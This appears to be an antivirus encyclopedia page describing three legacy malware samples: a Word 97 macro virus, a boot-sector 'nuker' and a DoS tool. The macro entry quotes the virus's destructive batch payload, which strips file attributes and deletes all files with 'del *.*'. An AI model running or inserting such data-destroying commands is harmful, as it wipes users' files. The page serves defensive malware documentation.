Virus Database

Macro.Word97.Satan

Description Macro.Word97.Satan

This virus contains 14 macros in one module "Satan666": Satan666, FileOpen, FileClose, FileSaveAs, FileSave, FileNew, AutoExec, AutoNew, AutoSave, AutoClose, AutoOpen, ToolsOptions, ViewVBCode, ToolsMacro. The virus infects the system and documents on calling any of these macros.
The ToolsMacro and ViewVBCode functions are available only if the first line in C:AUTOEXEC.BAT file contains the text:
REM Hail Satan!

Else the virus cancels these procedures and displays the MessageBox:
Microsoft Visual Basic
Sub or Function not defined

In June the virus erases the files and directory:
c:windows*.*
c:windowssystem*.*
c:My Documents

It then appends to the C:AUTOEXEC.BAT file the text:
@echo off
cls
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Hail Satan!
echo Y>Yes
attrib -h -r -s
del *.* <Yes
end

and displays the MessageBox:
Satan666 Word97 Virus
Hail Satan!

Check other viruses! Be aware! Use Antiviral Software

Nuker.Trance.1982

Description Nuker.Trance.1982

On the 1st day of the month if it is Monday that virus hooks INT 1Ch, and exchanges the symbols on the screen. Depending on its generation the virus may erase the disk sectors. The virus contains the text string:
Trance Virus (c) 1995 by The Nuker
This virus also hooks INT 8,13h. By using INT 13h hook the virus overwrites the disk sector with the string:
This sector has been fucked up courtesy of Tranceý Virus (c) 1995 by The Nuker
By hooking INT 8 the virus "shakes" the screen.

Nuker.Win32.PortFuck

Description Nuker.Win32.PortFuck

This program is a realized DoS (Denial of Service) attack (see about DoS-attack).

Home